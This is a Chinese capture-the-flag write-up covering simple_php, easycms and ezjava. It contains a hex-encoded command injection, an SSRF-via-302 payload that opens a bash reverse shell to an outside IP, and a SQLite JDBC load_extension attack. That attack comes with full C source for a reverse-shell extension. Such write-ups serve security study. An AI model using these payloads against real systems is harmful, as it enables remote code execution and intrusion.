前言
主要复现一下ezjava,jdbc attack还是很有意思的
simple_php
用php -r 执行php代码,用hex2bin绕过关键字和转义。
1
| cmd=php+-r+eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
|
easycms
生成二维码的接口可以打ssrf,打302跳转进ssrf,参考下面的链接:
利用302跳转绕过限制-ssrf仅能使用http协议时 - 火线 Zone-安全攻防社区 (huoxian.cn)
vps上用php -S 0.0.0.0:8080 起一个http服务,写上跳转脚本,利用题目自带的后门反弹shell
1 2 3
| <?php header('Location: http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%31%36%2e%36%32%2e%33%38%2e%37%31%2f%39%39%39%39%20%30%3e%26%31%22', true, 302); exit();
|
利用接口访问vps,利用302跳转反弹shell拿到flag
1
| http://eci-2zecvr9tqvox55jeytq8.cloudeci1.ichunqiu.com/?s=api&c=api&m=qrcode&text=1&thumb=http://xx.xx.xx.xx/index.php&size=10&level=1
|
easycms_revenge
getimagesize 那里对$thumb的文件类型有要求
我们加一个图片头绕过一下就好了,这里有点坑,要多加几个
payload区别不大,注意这里text不能重复,不然不会进代码逻辑
1
| /?s=api&c=api&m=qrcode&text=7777777777777&thumb=http://xx.xx.xx.xx/index.php&size=10&level=1
|
PS:上面的方法在比赛可以过,但是在ctfshow的靶场上是过不了的,复现的师傅注意一下。
ezjava
这题有好几种解法,有db文件缓存、sql注入和AspectJWeaver反序列化写文件,下面用的缓存
简单说一下整体思路:
- 让client访问vps上的rce.so,利用缓存在client的/tmp下写文件(文件名可计算)
- 再让client访问恶意数据库,触发jdbc attack执行load_extension,加载上面写入的文件实现rce
首先是JdbcController可以传任意的jdbc bean,即sql配置参数可控
1 2 3 4 5 6 7 8 9
| public ResultBean connect(@RequestBody JdbcBean jdbcBean) { try { return new ResultBean(Integer.valueOf(1), String.join((CharSequence)",", this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean))); } catch (Exception e) { return new ResultBean(Integer.valueOf(0), "\u8fde\u63a5\u5931\u8d25"); } }
|
其次,在service层会有switch分支,通过传入的type值决定使用不同Driver去链接数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| switch (jdbcBean.getType()) { case 1: { Class.forName((String)config.get("JDBC-MYSQL")); MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl())); if (jdbcBean.getTableName() != null) { return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName()); } return mysqlDatasourceConnector.getTables(); } case 2: { Class.forName((String)config.get("JDBC-POSTGRES")); PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl())); if (jdbcBean.getTableName() != null) { return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName()); } return postgresDatasourceConnector.getTables(); } case 3: { SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl()); if (jdbcBean.getTableName() != null) { return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName()); } return sqliteDatasourceConnector.getTables(); } case 4: { Class.forName((String)config.get("JDBC-SQLITE")); break; } default: { return new String[]{""}; } }
|
这里漏洞点比较明显,在utils的sqlite工具类里,可以发现开了load_extension,说明可以打sqlite jdbc attack,sqlite jdbc attack不像其他可以直接反序列化结合组件rce,sqlite只能执行sql语句。
1 2 3 4 5 6 7 8
| public SqliteDatasourceConnector(String url) throws ClassNotFoundException, SQLException { Class.forName("org.sqlite.JDBC"); SQLiteConfig config = new SQLiteConfig(); config.enableLoadExtension(true); this.connection = DriverManager.getConnection(url, config.toProperties()); this.connection.setAutoCommit(true); }
|
这里和mysql的udf提取很像,在可以执行sql命令之后,考虑通过加载.so文件来实现rce
1 2
| // 编译命令,注意要在linux环境下编译 gcc -g -fPIC -shared rce.c -o rce.so
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sqlite3ext.h> #include <sys/stat.h> SQLITE_EXTENSION_INIT1 int tcp_port = 2333; char *ip = "116.62.38.71"; #ifdef _WIN32 __declspec(dllexport) #endif
int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ) { int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ((fork()) <= 0) { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) { exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", NULL, NULL); } return rc; }
|
sqlite jdbc attack运行SQL命令,需要连接到构造好的数据库,构造方法如下:
使用navicat新建一个exp.db,然后创建一个视图,下面选中部分即为client连接之后执行的sql语句
缓存实际上就是对当前sqlite连接的数据库在/tmp/做一个备份,虽然第一次访问的是rce.so,但是程序仍会保存为.db文件,通过CoreConnection类可以知道缓存命名规则,文件名生成脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package exp; import java.net.URL; public class cacheFilenameGen { public static void main(String[] args) throws Exception { Class.forName("org.sqlite.JDBC"); String writeUrl = "http://xxx/rce.so"; String triggerUrl = "http://xxx/exp.db"; String tmpDirRemote = "/tmp/sqlite-jdbc-tmp-"; String tmpDirLocal = "/var/folders/x8/mrcrl0p503nbmvy62sgmtk3m0000gn/T/sqlite-jdbc-tmp-"; String soFilePlace = String.format("sqlite-jdbc-tmp-%d.db", new URL(writeUrl).hashCode()); System.out.println(soFilePlace); } }
|
将 rce.so 和 exp.db 放到vps上,依次连接,执行写入缓存、触发SQL语句操作即可。
成功反弹shell
参考文章: